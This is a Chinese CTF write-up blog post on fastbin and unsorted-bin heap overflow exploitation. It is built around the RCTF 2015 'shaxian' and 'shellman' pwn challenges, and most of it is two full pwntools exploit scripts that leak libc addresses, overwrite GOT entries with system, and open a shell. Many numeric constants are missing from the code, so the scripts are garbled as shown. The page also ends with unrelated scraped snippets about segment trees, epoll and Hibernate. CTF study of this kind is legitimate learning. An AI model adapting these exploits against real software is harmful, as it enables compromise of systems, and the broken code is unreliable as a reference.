见微知著(三):解析ctf中的pwn--Fastbin和bins的溢出
1月1号写博客,也是不容易呀!大家新年快乐呀!
先从Fastbin看起,是2015年RCTF的一道pwn题,shaxian。先看看代码的大致流程,随便输入一下:
这个题目关键之处在于堆溢出,对于堆种类的选择,由于分配堆之后直接就进行写了,所以,使用fastbin。
关于fastbin的具体使用,前文已经将的很清楚了。这里主要是覆盖now指针,然后就可以任意读写了,exp如下:
from pwn import * DEBUG =
LOCAL =
VERBOSE =
atoi_got = 0x804b038 #bss_address = 0x0804b400
if LOCAL:
r = process("shaxian")
else:
r = remote('127.0.0.1',) if DEBUG:
gdb.attach(r) if VERBOSE:
context(log_level='debug') def dcai(payload,number=):
r.sendline('')
r.recvuntil('Jianjiao')
r.sendline(payload)
r.recvuntil('How many?')
r.sendline(str(number))
r.recvuntil('choose:') def submit():
r.sendline('')
r.recvuntil('Your order has been submitted!')
r.recvuntil('choose:') r.recvuntil("Address:")
r.sendline(p32()+p32(0x31))
r.recvuntil('Your Phone number:')
r.sendline("a"*0xf0+p32()+p32(0x31))
r.recvuntil('choose:') payload = 'B'*+p32()+p32(0x31)+p32(0x804b02c) #puts
dcai(payload)
r.sendline('')
r.recvuntil('* ')
r.recvuntil('* ')
puts = int(r.recvuntil('\n').strip('\n'))&0xffffffff libc = puts - 0x657e0
print 'libc:',hex(libc)
system = libc + 0x40310
print 'system:',hex(system)
#atoi函数不能转换大于7fffffff的值,而加载地址前8位不变,所以可以只选择覆盖前24为
low8_system = (system<<)%pow(,)
payload = 'C'*+p32()+p32(0x31)+p32(0x804b1b8)
dcai(payload)
raw_input('before')
submit()
raw_input('after')
payload = "a"*
payload += p32(atoi_got-)
dcai(payload,low8_system) r.sendline('/bin/sh') r.interactive()
r.sendline('ls')
r.recv()
关于bins的溢出的话,用Shellman这个pwn题来理解,其实这个前文的freenote非常相似,而且简单了很多,不多说,直接放exp,这三篇文章的二进制文件直接放在github里面了:
from pwn import * DEBUG =
LOCAL =
VERBOSE = if LOCAL:
p = process('./shellman')
else:
p = remote('127.0.0.1',) if DEBUG:
gdb.attach(p) if VERBOSE:
context(log_level='debug') p.recvuntil('>') def list_():
p.sendline('')
k = p.recvuntil('>')
return k def new(payload):
p.sendline('')
p.recvuntil('Length of new shellcode:')
p.sendline(str(len(payload)))
p.recvuntil('Enter your shellcode(in raw format):')
p.send(payload)
p.recvuntil('>') def edit(payload,num=):
p.sendline('')
p.recvuntil('Shellcode number:')
p.sendline(str(num))
p.recvuntil('Length of shellcode:')
p.sendline(str(len(payload)))
p.recvuntil('Enter your shellcode:')
p.send(payload)
p.recvuntil('>') def delete(num=):
p.sendline('')
p.recvuntil('Shellcode number:')
p.sendline(str(num))
p.sendline(str(num)) first_size = 0x30
second_size = 0xa0 new( 'a' * first_size) #at 0x0079e010
new( 'b' * second_size) #at 0x0079e050
new( '/bin/sh;') PREV_IN_USE = 0x1
prev_size_0 = p64()
size_0 = p64(first_size | PREV_IN_USE)
fd_0 = p64(0x006016d0 - 0x18) #bk offset
bk_0 = p64(0x006016d0 - 0x10) #fd offset
user_data = 'm' * (first_size - 0x20) #0x20 = chunk header size
prev_size_1 = p64(first_size)
size_1 = p64((second_size + 0x10) & (~PREV_IN_USE)) #make first chunk free edit(prev_size_0 + size_0 + fd_0 + bk_0 + user_data + prev_size_1 + size_1)
#begin
delete()
#after unlink then *0x6016d0 == 0x6016b8, let's corrupt 0x6016d0 with libc_free_got
rubbish = 'whatthis'
is_shellcode_exist = p64(0x1)
shellcode_size = p64(0x8)
libc_free_got = p64(0x00601600) edit(rubbish + is_shellcode_exist + shellcode_size + libc_free_got)
free_address = list_().split(': ')[][:] free_address = int(''.join(free_address[i:i+] for i in range(,-,-)),)
print 'free_address:',hex(free_address)
libc= free_address - 0x82d00
print 'libc_address:',hex(libc)
system = libc + 0x46590
print 'system_address:',hex(system)
edit(p64(system)) #just free
delete()
p.interactive()
见微知著(三):解析ctf中的pwn--Fastbin和bins的溢出的更多相关文章
- 见微知著(一):解析ctf中的pwn--Fast bin里的UAF
在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...
- 见微知著(二):解析ctf中的pwn--怎么利用double free
这次选2015年的0ctf的一道非常经典的pwn题,感觉这个题目作为练习题来理解堆还是很棒的. 运行起来,可以看出是一个实现类似于记事本功能的程序,就这一点而言,基本是套路了,功能都试一遍之后,就可以 ...
- CTF中做Linux下漏洞利用的一些心得
其实不是很爱搞Linux,但是因为CTF必须要接触一些,漏洞利用方面也是因为CTF基本都是linux的pwn题目. 基本的题目分类,我认为就下面这三种,这也是常见的类型. 下面就分类来说说 0x0.栈 ...
- CTF丨Linux Pwn入门教程:针对函数重定位流程的相关测试(下)
Linux Pwn入门教程系列分享已接近尾声,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/a ...
- 浅解析js中的对象
浅解析js中的对象 原文网址:http://www.cnblogs.com/foodoir/p/5971686.html,转载请注明出处. 前面的话: 说到对象,我首先想到的是每到过年过节见长辈的时候 ...
- js中eval详解,用Js的eval解析JSON中的注意点
先来说eval的用法,内容比较简单,熟悉的可以跳过eval函数接收一个参数s,如果s不是字符串,则直接返回s.否则执行s语句.如果s语句执行结果是一个值,则返回此值,否则返回undefined. 需要 ...
- CTF中那些脑洞大开的编码和加密
0x00 前言 正文开始之前先闲扯几句吧,玩CTF的小伙伴也许会遇到类似这样的问题:表哥,你知道这是什么加密吗?其实CTF中脑洞密码题(非现代加密方式)一般都是各种古典密码的变形,一般出题者会对密文进 ...
- 源码解析Android中View的measure量算过程
Android中的Veiw从内存中到呈现在UI界面上需要依次经历三个阶段:量算 -> 布局 -> 绘图,关于View的量算.布局.绘图的总体机制可参见博文< Android中View ...
- XML解析——Java中XML的四种解析方式
XML是一种通用的数据交换格式,它的平台无关性.语言无关性.系统无关性.给数据集成与交互带来了极大的方便.XML在不同的语言环境中解析方式都是一样的,只不过实现的语法不同而已. XML的解析方式分为四 ...
随机推荐
- picks loves segment tree I
picks loves segment tree I 题目背景 来源: \(\text {2018 WC Segment Tree Beats}\) 原作者: \(\text {C_SUNSHINE} ...
- BZOJ 4318: OSU! 期望概率dp && 【BZOJ3450】【Tyvj1952】Easy 概率DP
这两道题是一样的...... 我就说一下较难的那个 OSU!: 这道15行的水题我竟然做了两节课...... 若是f[i][0]=(1-p)*f[i-1][0]+(1-p)*f[i-1][1],f[i ...
- I/O多路转接-epoll
By francis_hao Aug 5,2017 APUE讲多路转接的章节介绍了select.pselect和poll函数.而epoll是linux内核在2.5.44引入的.在glibc ...
- [POI2006] OKR-period of words
传送门 - > \(bzoj 1511\) 题目描述 A string is a finite sequence of lower-case (non-capital) letters of t ...
- 用Hibernate实现分页查询
分页查询就是把数据库中某张表的记录数进行分页查询,在做分页查询时会有一个Page类,下面是一个Page类,我对其做了详细的注解: package com.entity; /** * @author:秦 ...
- 前端跨域之jsonp跨域
jsonp跨域原理 原理:因为通过script标签引入的js是不受同源策略的限制的(比如baidu.com的页面加载了google.com的js).所以我们可以通过script标签引入一个js或者一个 ...
- [POJ3237]Tree解题报告|树链剖分|边剖
关于边剖 之前做的大多是点剖,其实转换到边剖非常简单. 我的做法是每个点的点权记录其到父亲节点的边的边权. 只要solve的时候不要把最上面的点记录在内就可以了. Tree Description Y ...
- Node.js 编码转换
Node.js自带的toString()方法不支持gbk,因此中文转换的时候需要加载第三方库,推荐以下两个编码转换库,iconv-lite和encoding. iconv, iconv-l ...
- 培训补坑(day8:树上倍增+树链剖分)
补坑补坑.. 其实挺不理解孙爷为什么把这两个东西放在一起讲..当时我学这一块数据结构都学了一周左右吧(超虚的) 也许孙爷以为我们是省队集训班... 好吧,虽然如此,我还是会认真写博客(保证初学者不会出 ...
- linux驱动学习(二) Makefile高级【转】
转自:http://blog.csdn.net/ghostyu/article/details/6866863 版权声明:本文为博主原创文章,未经博主允许不得转载. 在我前一篇写的[ linux驱动学 ...